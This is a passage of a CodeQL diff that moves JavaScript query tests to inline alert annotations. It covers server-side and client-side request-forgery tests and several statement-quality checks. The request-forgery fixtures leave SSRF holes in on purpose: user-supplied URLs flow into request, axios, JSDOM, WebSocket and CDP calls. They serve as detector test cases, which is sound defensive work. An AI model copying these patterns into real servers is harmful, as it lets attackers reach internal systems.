+    const resolvers = {
+        Mutation: {
+          downloadFiles: async (_, { files }) => { // $ Source[js/request-forgery]
+            files.forEach((file) => { get(file.url, (res) => {}); }); // $ Alert[js/request-forgery] Sink[js/request-forgery]
+            return true;
+          },
+        },
+      };
+    const server = new ApolloServer({typeDefs, resolvers});
+
+    const resolvers2 = {
+      Mutation: {
+        downloadFiles: async (_, { files }) => { // $ MISSING: Source[js/request-forgery]
+          files.forEach((file) => { get(file.url, (res) => {}); }); // $ MISSING: Alert[js/request-forgery] Sink[js/request-forgery]
+          return true;
+        },
+      },
+    };
+    
+    class CustomApollo extends ApolloServer {}
+
+    const srv = new CustomApollo({typeDefs, resolvers: resolvers2});
+}
diff --git a/javascript/ql/test/query-tests/Security/CWE-918/axiosInterceptors.serverSide.js b/javascript/ql/test/query-tests/Security/CWE-918/axiosInterceptors.serverSide.js
new file mode 100644
index 000000000000..12e95a326cbc
--- /dev/null
+++ b/javascript/ql/test/query-tests/Security/CWE-918/axiosInterceptors.serverSide.js
@@ -0,0 +1,22 @@
+const express = require("express");
+const axios = require("axios");
+
+const app = express();
+
+let userProvidedUrl = "";
+
+axios.interceptors.request.use(
+    function (config) {
+        if (userProvidedUrl) {
+            config.url = userProvidedUrl; // $ Alert[js/request-forgery]
+        }
+        return config;
+    },
+    error => error
+);
+
+app.post("/fetch", (req, res) => {
+    const { url } = req.body; // $ Source[js/request-forgery]
+    userProvidedUrl = url; 
+    axios.get("placeholder");
+});
diff --git a/javascript/ql/test/query-tests/Security/CWE-918/clientSide.js b/javascript/ql/test/query-tests/Security/CWE-918/clientSide.js
index c55270377ede..d546d809a9dd 100644
--- a/javascript/ql/test/query-tests/Security/CWE-918/clientSide.js
+++ b/javascript/ql/test/query-tests/Security/CWE-918/clientSide.js
@@ -8,18 +8,18 @@ export function MyComponent() {
     request('https://example.com/api/' + params.foo + '/id'); // OK - cannot manipulate path using `../`
     request(params.foo); // Possibly problematic, but not currently flagged.
 
-    const query = window.location.search.substring(1);
-    request('https://example.com/api/' + query + '/id'); // NOT OK
-    request('https://example.com/api?q=' + query); // OK
-    request('https://example.com/api/' + window.location.search); // likely OK - but currently flagged anyway
+    const query = window.location.search.substring(1); // $ Source[js/client-side-request-forgery]
+    request('https://example.com/api/' + query + '/id'); // $ Alert[js/client-side-request-forgery] Sink[js/client-side-request-forgery]
+    request('https://example.com/api?q=' + query);
+    request('https://example.com/api/' + window.location.search); // $ Alert[js/client-side-request-forgery] Sink[js/client-side-request-forgery] - likely OK - but currently flagged anyway
 
-    const fragment = window.location.hash.substring(1);
-    request('https://example.com/api/' + fragment + '/id'); // NOT OK
-    request('https://example.com/api?q=' + fragment); // OK
+    const fragment = window.location.hash.substring(1); // $ Source[js/client-side-request-forgery]
+    request('https://example.com/api/' + fragment + '/id'); // $ Alert[js/client-side-request-forgery] Sink[js/client-side-request-forgery]
+    request('https://example.com/api?q=' + fragment);
 
-    const name = window.name;
-    request('https://example.com/api/' + name + '/id'); // NOT OK
-    request('https://example.com/api?q=' + name); // OK
+    const name = window.name; // $ Source[js/client-side-request-forgery]
+    request('https://example.com/api/' + name + '/id'); // $ Alert[js/client-side-request-forgery] Sink[js/client-side-request-forgery]
+    request('https://example.com/api?q=' + name);
 
-    request(window.location.href + '?q=123'); // OK
+    request(window.location.href + '?q=123');
 }
diff --git a/javascript/ql/test/query-tests/Security/CWE-918/serverSide.js b/javascript/ql/test/query-tests/Security/CWE-918/serverSide.js
index 7b4c792bb366..fce762084455 100644
--- a/javascript/ql/test/query-tests/Security/CWE-918/serverSide.js
+++ b/javascript/ql/test/query-tests/Security/CWE-918/serverSide.js
@@ -11,42 +11,42 @@ let XhrIo = goog.require('goog.net.XhrIo');
 let Uri = goog.require('goog.Uri');
 
 var server = http.createServer(function(req, res) {
-    var tainted = url.parse(req.url, true).query.url;
+    var tainted = url.parse(req.url, true).query.url; // $ Source[js/request-forgery]
 
-    request("example.com"); // OK
+    request("example.com");
 
-    request(tainted); // NOT OK
+    request(tainted); // $ Alert[js/request-forgery] Sink[js/request-forgery]
 
-    request.get(tainted); // NOT OK
+    request.get(tainted); // $ Alert[js/request-forgery] Sink[js/request-forgery]
 
     var options = {};
-    options.url = tainted; // NOT OK
-    request(options);
+    options.url = tainted; // $ Sink[js/request-forgery]
+    request(options); // $ Alert[js/request-forgery]
 
-    request("http://" + tainted); // NOT OK
+    request("http://" + tainted); // $ Alert[js/request-forgery] Sink[js/request-forgery]
 
-    request("http://example.com" + tainted); // NOT OK
+    request("http://example.com" + tainted); // $ Alert[js/request-forgery] Sink[js/request-forgery]
 
-    request("http://example.com/" + tainted); // NOT OK
+    request("http://example.com/" + tainted); // $ Alert[js/request-forgery] Sink[js/request-forgery]
 
-    request("http://example.com/?" + tainted); // OK
+    request("http://example.com/?" + tainted);
 
-    http.get(relativeUrl, {host: tainted}); // NOT OK
+    http.get(relativeUrl, {host: tainted}); // $ Alert[js/request-forgery] Sink[js/request-forgery]
 
-    XhrIo.send(new Uri(tainted)); // NOT OK
-    new XhrIo().send(new Uri(tainted)); // NOT OK
+    XhrIo.send(new Uri(tainted)); // $ Alert[js/request-forgery] Sink[js/request-forgery]
+    new XhrIo().send(new Uri(tainted)); // $ Alert[js/request-forgery] Sink[js/request-forgery]
 
     let base = require('./config').base;
 
-    request(`http://example.com/${base}/${tainted}`); // NOT OK
+    request(`http://example.com/${base}/${tainted}`); // $ Alert[js/request-forgery] Sink[js/request-forgery]
 
-    request(`http://example.com/${base}/v1/${tainted}`); // NOT OK
+    request(`http://example.com/${base}/v1/${tainted}`); // $ Alert[js/request-forgery] Sink[js/request-forgery]
 
-    request('http://example.com/' + base + '/' + tainted); // NOT OK
+    request('http://example.com/' + base + '/' + tainted); // $ Alert[js/request-forgery] Sink[js/request-forgery]
 
-    request('http://example.com/' + base + ('/' + tainted)); // NOT OK - but not flagged [INCONSISTENCY]
+    request('http://example.com/' + base + ('/' + tainted)); // $ MISSING: Alert
 
-    request(`http://example.com/?${base}/${tainted}`); // OK
+    request(`http://example.com/?${base}/${tainted}`);
 
     request(`http://example.com/${base}${tainted}`); // OK - assumed safe
 
@@ -55,49 +55,49 @@ var server = http.createServer(function(req, res) {
 
 var CDP = require("chrome-remote-interface");
 var server = http.createServer(async function(req, res) {
-    var tainted = url.parse(req.url, true).query.url;
+    var tainted = url.parse(req.url, true).query.url; // $ Source[js/request-forgery]
 
     var client = await CDP(options);
-	client.Page.navigate({url: tainted}); // NOT OK.
+	client.Page.navigate({url: tainted}); // $ Alert[js/request-forgery] Sink[js/request-forgery]
 	
 	CDP(options).catch((ignored) => {}).then((client) => {
-		client.Page.navigate({url: tainted}); // NOT OK.	
+		client.Page.navigate({url: tainted}); // $ Alert[js/request-forgery] Sink[js/request-forgery]
 	})
 	
 	CDP(options, (client) => {
-		client.Page.navigate({url: tainted}); // NOT OK.	
+		client.Page.navigate({url: tainted}); // $ Alert[js/request-forgery] Sink[js/request-forgery]
 	});
 })
 
 import {JSDOM} from "jsdom";
 var server = http.createServer(async function(req, res) {
-    var tainted = url.parse(req.url, true).query.url;
+    var tainted = url.parse(req.url, true).query.url; // $ Source[js/request-forgery]
 
-    JSDOM.fromURL(tainted); // NOT OK
+    JSDOM.fromURL(tainted); // $ Alert[js/request-forgery] Sink[js/request-forgery]
 });
 
 var route = require('koa-route');
 var Koa = require('koa');
 var app = new Koa();
 
-app.use(route.get('/pets', (context, param1, param2, param3) => { 
-    JSDOM.fromURL(param1); // NOT OK
+app.use(route.get('/pets', (context, param1, param2, param3) => {  // $ Source[js/request-forgery]
+    JSDOM.fromURL(param1); // $ Alert[js/request-forgery] Sink[js/request-forgery]
 }));
 
 const router = require('koa-router')();
 const app = new Koa();
 router.get('/', async (ctx, next) => {
-    JSDOM.fromURL(ctx.params.foo); // NOT OK
+    JSDOM.fromURL(ctx.params.foo); // $ Alert[js/request-forgery] Sink[js/request-forgery]
 }).post('/', async (ctx, next) => {
-    JSDOM.fromURL(ctx.params.foo); // NOT OK
+    JSDOM.fromURL(ctx.params.foo); // $ Alert[js/request-forgery] Sink[js/request-forgery]
 });
 app.use(router.routes());
 
 import {JSDOM} from "jsdom";
 var server = http.createServer(async function(req, res) {
-    var tainted = url.parse(req.url, true).query.url;
+    var tainted = url.parse(req.url, true).query.url; // $ Source[js/request-forgery]
 
-    new WebSocket(tainted); // NOT OK
+    new WebSocket(tainted); // $ Alert[js/request-forgery] Sink[js/request-forgery]
 });
 
 
@@ -105,31 +105,31 @@ import * as ws from 'ws';
 
 new ws.Server({ port: 8080 }).on('connection', function(socket, request) {
   socket.on('message', function(message) {
-    const url = request.url;
-    const socket = new ws(url);
+    const url = request.url; // $ Source[js/request-forgery]
+    const socket = new ws(url); // $ Alert[js/request-forgery] Sink[js/request-forgery]
   });
 });
 
 new ws.Server({ port: 8080 }).on('connection', function (socket, request) {
   socket.on('message', function (message) {
-    const url = new URL(request.url, base);
+    const url = new URL(request.url, base); // $ Source[js/request-forgery]
     const target = new URL(url.pathname, base);
-    const socket = new ws(url);
+    const socket = new ws(url); // $ Alert[js/request-forgery] Sink[js/request-forgery]
   });
 });
 
 
 var server2 = http.createServer(function(req, res) {
-    var tainted = url.parse(req.url, true).query.url;
+    var tainted = url.parse(req.url, true).query.url; // $ Source[js/request-forgery]
 
     axios({
         method: 'get',
-        url: tainted // NOT OK
-    })
+        url: tainted // $ Sink[js/request-forgery]
+    }) // $ Alert[js/request-forgery]
 
     var myUrl = `${something}/bla/${tainted}`; 
-    axios.get(myUrl); // NOT OK
+    axios.get(myUrl); // $ Alert[js/request-forgery] Sink[js/request-forgery]
 
     var myEncodedUrl = `${something}/bla/${encodeURIComponent(tainted)}`; 
-    axios.get(myEncodedUrl); // OK
+    axios.get(myEncodedUrl);
 })
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Statements/DanglingElse/DanglingElse.qlref b/javascript/ql/test/query-tests/Statements/DanglingElse/DanglingElse.qlref
index 4bccc4a7469e..69b8d7561a2b 100644
--- a/javascript/ql/test/query-tests/Statements/DanglingElse/DanglingElse.qlref
+++ b/javascript/ql/test/query-tests/Statements/DanglingElse/DanglingElse.qlref
@@ -1 +1,2 @@
-Statements/DanglingElse.ql
\ No newline at end of file
+query: Statements/DanglingElse.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Statements/DanglingElse/tst.js b/javascript/ql/test/query-tests/Statements/DanglingElse/tst.js
index ea1966d190b7..5ff77f4e77bc 100644
--- a/javascript/ql/test/query-tests/Statements/DanglingElse/tst.js
+++ b/javascript/ql/test/query-tests/Statements/DanglingElse/tst.js
@@ -2,7 +2,7 @@ function bad1() {
 	if (cond1())
 		if (cond2())
 			return 23;
-	else
+	else // $ Alert
 		return 42;
 }
 
@@ -18,7 +18,7 @@ function bad2() {
 	if (cond1()) {
 		if (cond2()) {
 			return 23;
-	} else {
+	} else { // $ Alert
 		return 42;
 	}}
 }
@@ -37,7 +37,7 @@ function bad3() {
 	else if (cond2())
 		if (cond2())
 			return 42;
-	else
+	else // $ Alert
 		return 42;
 }
 
diff --git a/javascript/ql/test/query-tests/Statements/EphemeralLoop/EphemeralLoop.expected b/javascript/ql/test/query-tests/Statements/EphemeralLoop/EphemeralLoop.expected
index 887e249db55a..60c733458315 100644
--- a/javascript/ql/test/query-tests/Statements/EphemeralLoop/EphemeralLoop.expected
+++ b/javascript/ql/test/query-tests/Statements/EphemeralLoop/EphemeralLoop.expected
@@ -1,2 +1,2 @@
-| tst.js:2:1:2:9 | while(c ... reak;\\n} | This loop executes at most once. |
-| tst.js:13:3:13:29 | for (;  ... et;\\n  } | This loop executes at most once. |
+| tst.js:1:1:1:20 | while(c ... reak;\\n} | This loop executes at most once. |
+| tst.js:11:3:11:40 | for (;  ... et;\\n  } | This loop executes at most once. |
diff --git a/javascript/ql/test/query-tests/Statements/EphemeralLoop/EphemeralLoop.qlref b/javascript/ql/test/query-tests/Statements/EphemeralLoop/EphemeralLoop.qlref
index f30b9bb5fd7d..18a02cd30a12 100644
--- a/javascript/ql/test/query-tests/Statements/EphemeralLoop/EphemeralLoop.qlref
+++ b/javascript/ql/test/query-tests/Statements/EphemeralLoop/EphemeralLoop.qlref
@@ -1 +1,2 @@
-Statements/EphemeralLoop.ql
+query: Statements/EphemeralLoop.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Statements/EphemeralLoop/tst.js b/javascript/ql/test/query-tests/Statements/EphemeralLoop/tst.js
index 1b66865ea21c..c3dc1f230889 100644
--- a/javascript/ql/test/query-tests/Statements/EphemeralLoop/tst.js
+++ b/javascript/ql/test/query-tests/Statements/EphemeralLoop/tst.js
@@ -1,5 +1,4 @@
-// NOT OK
-while(c){
+while(c){ // $ Alert
   switch(c){
     case "/":
       break;
@@ -8,23 +7,22 @@ while(c){
   break;
 }
 
-// NOT OK
 function f() {
-  for (; k < numprecincts;) {
+  for (; k < numprecincts;) { // $ Alert
     var packet = createPacket(resolution, k, l);
     k++;
     return packet;
   }
 }
 
-// OK
+
 var oHasProps = false;
 for (var p in o) {
   oHasProps = true;
   break;
 }
 
-// OK
+
 while(c){
   if (c === '"')
     break;
diff --git a/javascript/ql/test/query-tests/Statements/IgnoreArrayResult/IgnoreArrayResult.qlref b/javascript/ql/test/query-tests/Statements/IgnoreArrayResult/IgnoreArrayResult.qlref
index 2cbc7e722a5c..46598aaab68f 100644
--- a/javascript/ql/test/query-tests/Statements/IgnoreArrayResult/IgnoreArrayResult.qlref
+++ b/javascript/ql/test/query-tests/Statements/IgnoreArrayResult/IgnoreArrayResult.qlref
@@ -1 +1,2 @@
-Statements/IgnoreArrayResult.ql
\ No newline at end of file
+query: Statements/IgnoreArrayResult.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Statements/IgnoreArrayResult/tst.js b/javascript/ql/test/query-tests/Statements/IgnoreArrayResult/tst.js
index 47efe8c1cb6c..adbd85cf6157 100644
--- a/javascript/ql/test/query-tests/Statements/IgnoreArrayResult/tst.js
+++ b/javascript/ql/test/query-tests/Statements/IgnoreArrayResult/tst.js
@@ -1,8 +1,8 @@
 var arr = [1,2,3];
 
-arr.concat([1,2,3]); // NOT OK!
+arr.concat([1,2,3]); // $ Alert
 
-arr.concat(arr); // NOT OK!
+arr.concat(arr); // $ Alert
 
 console.log(arr.concat([1,2,3]));
 
diff --git a/javascript/ql/test/query-tests/Statements/ImplicitReturn/ImplicitReturn.expected b/javascript/ql/test/query-tests/Statements/ImplicitReturn/ImplicitReturn.expected
index 13c308ac7010..6db0835ca621 100644
--- a/javascript/ql/test/query-tests/Statements/ImplicitReturn/ImplicitReturn.expected
+++ b/javascript/ql/test/query-tests/Statements/ImplicitReturn/ImplicitReturn.expected
@@ -1,3 +1,3 @@
-| tst.js:3:2:3:11 | if (foo ... n true; | $@ may implicitly return 'undefined' here, while $@ an explicit value is returned. | tst.js:2:1:5:1 | functio ... true;\\n} | Function f | tst.js:4:3:4:14 | return true; | elsewhere |
-| tst.js:101:2:101:11 | if (foo ... n true; | $@ may implicitly return 'undefined' here, while $@ an explicit value is returned. | tst.js:100:9:103:1 | functio ... true;\\n} | Function u | tst.js:102:3:102:14 | return true; | elsewhere |
-| tst.js:107:2:107:7 | if (b)\\n\\t\\treturn 1; | $@ may implicitly return 'undefined' here, while $@ an explicit value is returned. | tst.js:106:1:109:1 | functio ... rn 1;\\n} | Function v | tst.js:108:3:108:11 | return 1; | elsewhere |
+| tst.js:2:2:2:22 | if (foo ... n true; | $@ may implicitly return 'undefined' here, while $@ an explicit value is returned. | tst.js:1:1:4:1 | functio ... true;\\n} | Function f | tst.js:3:3:3:14 | return true; | elsewhere |
+| tst.js:99:2:99:22 | if (foo ... n true; | $@ may implicitly return 'undefined' here, while $@ an explicit value is returned. | tst.js:98:9:101:1 | functio ... true;\\n} | Function u | tst.js:100:3:100:14 | return true; | elsewhere |
+| tst.js:104:2:104:18 | if (b)  ... turn 1; | $@ may implicitly return 'undefined' here, while $@ an explicit value is returned. | tst.js:103:1:106:1 | functio ... rn 1;\\n} | Function v | tst.js:105:3:105:11 | return 1; | elsewhere |
diff --git a/javascript/ql/test/query-tests/Statements/ImplicitReturn/ImplicitReturn.qlref b/javascript/ql/test/query-tests/Statements/ImplicitReturn/ImplicitReturn.qlref
index bcfdc72cc5d5..aa8e305805b5 100644
--- a/javascript/ql/test/query-tests/Statements/ImplicitReturn/ImplicitReturn.qlref
+++ b/javascript/ql/test/query-tests/Statements/ImplicitReturn/ImplicitReturn.qlref
@@ -1 +1,2 @@
-Statements/ImplicitReturn.ql
\ No newline at end of file
+query: Statements/ImplicitReturn.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Statements/ImplicitReturn/tst.js b/javascript/ql/test/query-tests/Statements/ImplicitReturn/tst.js
index 114db4ed8d3e..a579d1a54139 100644
--- a/javascript/ql/test/query-tests/Statements/ImplicitReturn/tst.js
+++ b/javascript/ql/test/query-tests/Statements/ImplicitReturn/tst.js
@@ -1,17 +1,16 @@
-// NOT OK
 function f() {
-	if (foo())
+	if (foo()) // $ Alert
 		return true;
 }
 
-// OK
+
 function g() {
 	if (foo())
 		return true;
 	return false;
 }
 
-// OK
+
 function h() {
 	open();
 	try {
@@ -21,7 +20,7 @@ function h() {
 	}
 }
 
-// OK
+
 function k(x) {
 	switch (x) {
 	case 1:
@@ -31,20 +30,20 @@ function k(x) {
 	}
 }
 
-// OK
+
 function l() {
 	return 23;
 	alert("Hi");
 }
 
-// OK
+
 function m() {
 	if (foo())
 		return true;
 	throw new Error("not foo!");
 }
 
-// OK
+
 function n() {
 	if (foo())
 		return true;
@@ -60,7 +59,7 @@ function foo() {
 }
 
 // 
-// OK: dual-use constructor
+// OK - dual-use constructor
 function Point(x, y) {
 	if (!(this instanceof Point))
 		return new Point(x, y);
@@ -68,7 +67,7 @@ function Point(x, y) {
 	this.y = y;
 }
 
-// OK: infinite loops
+// OK - infinite loops
 function q(n) {
 	for (var i=0;;++i)
 		if (i>2*n)
@@ -96,14 +95,12 @@ function t(n) {
 	} while("true");
 }
 
-// NOT OK
 var u = function() {
-	if (foo())
+	if (foo()) // $ Alert
 		return true;
 };
 
-// NOT OK
 function v(b) {
-	if (b)
+	if (b) // $ Alert
 		return 1;
 }
diff --git a/javascript/ql/test/query-tests/Statements/InconsistentLoopOrientation/InconsistentLoopOrientation.expected b/javascript/ql/test/query-tests/Statements/InconsistentLoopOrientation/InconsistentLoopOrientation.expected
index e3c5ac0b71d8..682ff7b23eda 100644
--- a/javascript/ql/test/query-tests/Statements/InconsistentLoopOrientation/InconsistentLoopOrientation.expected
+++ b/javascript/ql/test/query-tests/Statements/InconsistentLoopOrientation/InconsistentLoopOrientation.expected
@@ -1,3 +1,3 @@
-| tst.js:6:1:7:1 | for (j  ... -j) {\\n} | This loop counts downward, but its variable is bounded upward. |
-| tst.js:10:1:11:1 | for (va ... ++) {\\n} | This loop counts upward, but its variable is bounded downward. |
-| tst.js:18:1:19:13 | for (i= ... i] = 0; | This loop counts downward, but its variable is bounded upward. |
+| tst.js:5:1:6:1 | for (j  ... -j) {\\n} | This loop counts downward, but its variable is bounded upward. |
+| tst.js:8:1:9:1 | for (va ... ++) {\\n} | This loop counts upward, but its variable is bounded downward. |
+| tst.js:15:1:16:13 | for (i= ... i] = 0; | This loop counts downward, but its variable is bounded upward. |
diff --git a/javascript/ql/test/query-tests/Statements/InconsistentLoopOrientation/InconsistentLoopOrientation.qlref b/javascript/ql/test/query-tests/Statements/InconsistentLoopOrientation/InconsistentLoopOrientation.qlref
index 8b296cfb160f..7a60789bb92b 100644
--- a/javascript/ql/test/query-tests/Statements/InconsistentLoopOrientation/InconsistentLoopOrientation.qlref
+++ b/javascript/ql/test/query-tests/Statements/InconsistentLoopOrientation/InconsistentLoopOrientation.qlref
@@ -1 +1,2 @@
-Statements/InconsistentLoopOrientation.ql
\ No newline at end of file
+query: Statements/InconsistentLoopOrientation.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Statements/InconsistentLoopOrientation/tst.js b/javascript/ql/test/query-tests/Statements/InconsistentLoopOrientation/tst.js
index f2331a705bdf..8172c8fbcb0f 100644
--- a/javascript/ql/test/query-tests/Statements/InconsistentLoopOrientation/tst.js
+++ b/javascript/ql/test/query-tests/Statements/InconsistentLoopOrientation/tst.js
@@ -1,19 +1,16 @@
-// OK
+
 for (j = i - 1; j >= 0; --j) {
 }
 
-// NOT OK
 for (j = i + 1; j < strLength; --j) {
-}
+} // $ Alert
 
-// NOT OK
 for (var i = 0, l = c.length; i > l; i ++) {
-}
+} // $ Alert
+
 
-// OK
 for (i=lower-1; i>=0; --i)
     a[i] = 0;
 
-// NOT OK
 for (i=upper+1; i<a.length; --i)
-    a[i] = 0;
+    a[i] = 0; // $ Alert
diff --git a/javascript/ql/test/query-tests/Statements/InconsistentReturn/InconsistentReturn.qlref b/javascript/ql/test/query-tests/Statements/InconsistentReturn/InconsistentReturn.qlref
index ec6443019501..739257e1810b 100644
--- a/javascript/ql/test/query-tests/Statements/InconsistentReturn/InconsistentReturn.qlref
+++ b/javascript/ql/test/query-tests/Statements/InconsistentReturn/InconsistentReturn.qlref
@@ -1 +1,2 @@
-Statements/InconsistentReturn.ql
\ No newline at end of file
+query: Statements/InconsistentReturn.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Statements/InconsistentReturn/tst.js b/javascript/ql/test/query-tests/Statements/InconsistentReturn/tst.js
index 914229480a18..2b9be9c5874b 100644
--- a/javascript/ql/test/query-tests/Statements/InconsistentReturn/tst.js
+++ b/javascript/ql/test/query-tests/Statements/InconsistentReturn/tst.js
@@ -1,5 +1,5 @@
 function f() {
 	if (someCond())
-		return;
+		return; // $ Alert
 	return 42;
 }
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Statements/LabelInCase/LabelInCase.qlref b/javascript/ql/test/query-tests/Statements/LabelInCase/LabelInCase.qlref
index 756b91c9d3f4..5fccfc512ba7 100644
--- a/javascript/ql/test/query-tests/Statements/LabelInCase/LabelInCase.qlref
+++ b/javascript/ql/test/query-tests/Statements/LabelInCase/LabelInCase.qlref
@@ -1 +1,2 @@
-Statements/LabelInCase.ql
+query: Statements/LabelInCase.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Statements/LabelInCase/nonCaseLabelInSwitch.js b/javascript/ql/test/query-tests/Statements/LabelInCase/nonCaseLabelInSwitch.js
index 7eb15c1006ae..a06361e01438 100644
--- a/javascript/ql/test/query-tests/Statements/LabelInCase/nonCaseLabelInSwitch.js
+++ b/javascript/ql/test/query-tests/Statements/LabelInCase/nonCaseLabelInSwitch.js
@@ -1,7 +1,7 @@
 switch (a) {
   case 0:
   case 1:
-  case2:
+  case2: // $ Alert
     f();
     break;
   default:
diff --git a/javascript/ql/test/query-tests/Statements/LoopIterationSkippedDueToShifting/LoopIterationSkippedDueToShifting.qlref b/javascript/ql/test/query-tests/Statements/LoopIterationSkippedDueToShifting/LoopIterationSkippedDueToShifting.qlref
index 796046d180a7..6f701410054e 100644
--- a/javascript/ql/test/query-tests/Statements/LoopIterationSkippedDueToShifting/LoopIterationSkippedDueToShifting.qlref
+++ b/javascript/ql/test/query-tests/Statements/LoopIterationSkippedDueToShifting/LoopIterationSkippedDueToShifting.qlref
@@ -1 +1,2 @@
-Statements/LoopIterationSkippedDueToShifting.ql
\ No newline at end of file
+query: Statements/LoopIterationSkippedDueToShifting.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Statements/LoopIterationSkippedDueToShifting/tst.js b/javascript/ql/test/query-tests/Statements/LoopIterationSkippedDueToShifting/tst.js
index cebe8569c087..68c50516da04 100644
--- a/javascript/ql/test/query-tests/Statements/LoopIterationSkippedDueToShifting/tst.js
+++ b/javascript/ql/test/query-tests/Statements/LoopIterationSkippedDueToShifting/tst.js
@@ -1,7 +1,7 @@
 function removeX(string) {
   let parts = string.split('/');
   for (let i = 0; i < parts.length; ++i) {
-    if (parts[i] === 'X') parts.splice(i, 1); // NOT OK
+    if (parts[i] === 'X') parts.splice(i, 1); // $ Alert
   }
   return parts.join('/');
 }
@@ -10,7 +10,7 @@ function removeXInnerLoop(string, n) {
   let parts = string.split('/');
   for (let j = 0; j < n; ++j) {
     for (let i = 0; i < parts.length; ++i) {
-      if (parts[i] === 'X') parts.splice(i, 1); // NOT OK
+      if (parts[i] === 'X') parts.splice(i, 1); // $ Alert
     }
   }
   return parts.join('/');
@@ -21,7 +21,7 @@ function removeXOuterLoop(string, n) {
   for (let i = 0; i < parts.length; ++i) {
     for (let j = 0; j < n; ++j) {
       if (parts[i] === 'X') {
-        parts.splice(i, 1); // NOT OK
+        parts.splice(i, 1); // $ Alert
         break;
       }
     }
@@ -33,7 +33,7 @@ function decrementAfter(string) {
   let parts = string.split('/');
   for (let i = 0; i < parts.length; ++i) {
     if (parts[i] === 'X') {
-        parts.splice(i, 1); // OK
+        parts.splice(i, 1);
         --i;
     }
   }
@@ -44,7 +44,7 @@ function postDecrementArgument(string) {
   let parts = string.split('/');
   for (let i = 0; i < parts.length; ++i) {
     if (parts[i] === 'X') {
-        parts.splice(i--, 1); // OK
+        parts.splice(i--, 1);
     }
   }
   return parts.join('/');
@@ -79,7 +79,7 @@ function spliceAfterLoop(string) {
     if (parts[i] === 'X') break;
   }
   if (parts[i] === 'X') {
-    parts.splice(i, 1); // OK - not inside loop 
+    parts.splice(i, 1); // OK - not inside loop
   }
   return parts.join('/');
 }
diff --git a/javascript/ql/test/query-tests/Statements/MisleadingIndentationAfterControlStmt/MisleadingIndentationAfterControlStmt.qlref b/javascript/ql/test/query-tests/Statements/MisleadingIndentationAfterControlStmt/MisleadingIndentationAfterControlStmt.qlref
index 6eae2b11c5e0..fff1c2016458 100644
--- a/javascript/ql/test/query-tests/Statements/MisleadingIndentationAfterControlStmt/MisleadingIndentationAfterControlStmt.qlref
+++ b/javascript/ql/test/query-tests/Statements/MisleadingIndentationAfterControlStmt/MisleadingIndentationAfterControlStmt.qlref
@@ -1 +1,2 @@
-Statements/MisleadingIndentationAfterControlStmt.ql
\ No newline at end of file
+query: Statements/MisleadingIndentationAfterControlStmt.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Statements/MisleadingIndentationAfterControlStmt/tst.html b/javascript/ql/test/query-tests/Statements/MisleadingIndentationAfterControlStmt/tst.html
index f039917e0c73..c01acb8a6b32 100644
--- a/javascript/ql/test/query-tests/Statements/MisleadingIndentationAfterControlStmt/tst.html
+++ b/javascript/ql/test/query-tests/Statements/MisleadingIndentationAfterControlStmt/tst.html
@@ -4,7 +4,7 @@
     <script>
       if (x > 0)
         x--;
-        x--;
+        x--; // $ Alert
     </script>
   </head>
   <body>
diff --git a/javascript/ql/test/query-tests/Statements/MisleadingIndentationAfterControlStmt/tst.js b/javascript/ql/test/query-tests/Statements/MisleadingIndentationAfterControlStmt/tst.js
index 11cc92b5b27a..f23767bfe19a 100644
--- a/javascript/ql/test/query-tests/Statements/MisleadingIndentationAfterControlStmt/tst.js
+++ b/javascript/ql/test/query-tests/Statements/MisleadingIndentationAfterControlStmt/tst.js
@@ -1,7 +1,7 @@
 function bad1() {
 	if (cond())
 		f();
-		g();
+		g(); // $ Alert
 }
 
 function good1() {
@@ -22,7 +22,7 @@ function bad2() {
 		f();
 	else
 		g();
-		h();
+		h(); // $ Alert
 }
 
 function good3() {
@@ -34,7 +34,7 @@ function good3() {
 function wbad1() {
 	while (cond())
 		f();
-		g();
+		g(); // $ Alert
 }
 
 function wgood1() {
diff --git a/javascript/ql/test/query-tests/Statements/NestedLoopsSameVariable/NestedLoopsSameVariable.expected b/javascript/ql/test/query-tests/Statements/NestedLoopsSameVariable/NestedLoopsSameVariable.expected
index 3b56bbcfc44a..c3b55f37146e 100644
--- a/javascript/ql/test/query-tests/Statements/NestedLoopsSameVariable/NestedLoopsSameVariable.expected
+++ b/javascript/ql/test/query-tests/Statements/NestedLoopsSameVariable/NestedLoopsSameVariable.expected
@@ -1 +1 @@
-| tst.js:3:16:3:18 | i>5 | Nested for statement uses loop variable $@ of enclosing $@. | tst.js:3:23:3:23 | i | i | tst.js:1:1:9:1 | for (va ... , k);\\n} | for statement |
+| tst.js:2:16:2:18 | i>5 | Nested for statement uses loop variable $@ of enclosing $@. | tst.js:2:23:2:23 | i | i | tst.js:1:1:8:1 | for (va ... , k);\\n} | for statement |
diff --git a/javascript/ql/test/query-tests/Statements/NestedLoopsSameVariable/NestedLoopsSameVariable.qlref b/javascript/ql/test/query-tests/Statements/NestedLoopsSameVariable/NestedLoopsSameVariable.qlref
index 65fe990bb6ee..a8d6bf7f1675 100644
--- a/javascript/ql/test/query-tests/Statements/NestedLoopsSameVariable/NestedLoopsSameVariable.qlref
+++ b/javascript/ql/test/query-tests/Statements/NestedLoopsSameVariable/NestedLoopsSameVariable.qlref
@@ -1 +1,2 @@
-Statements/NestedLoopsSameVariable.ql
\ No newline at end of file
+query: Statements/NestedLoopsSameVariable.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Statements/NestedLoopsSameVariable/tst.js b/javascript/ql/test/query-tests/Statements/NestedLoopsSameVariable/tst.js
index bd82aad01997..37ed9bcc7a39 100644
--- a/javascript/ql/test/query-tests/Statements/NestedLoopsSameVariable/tst.js
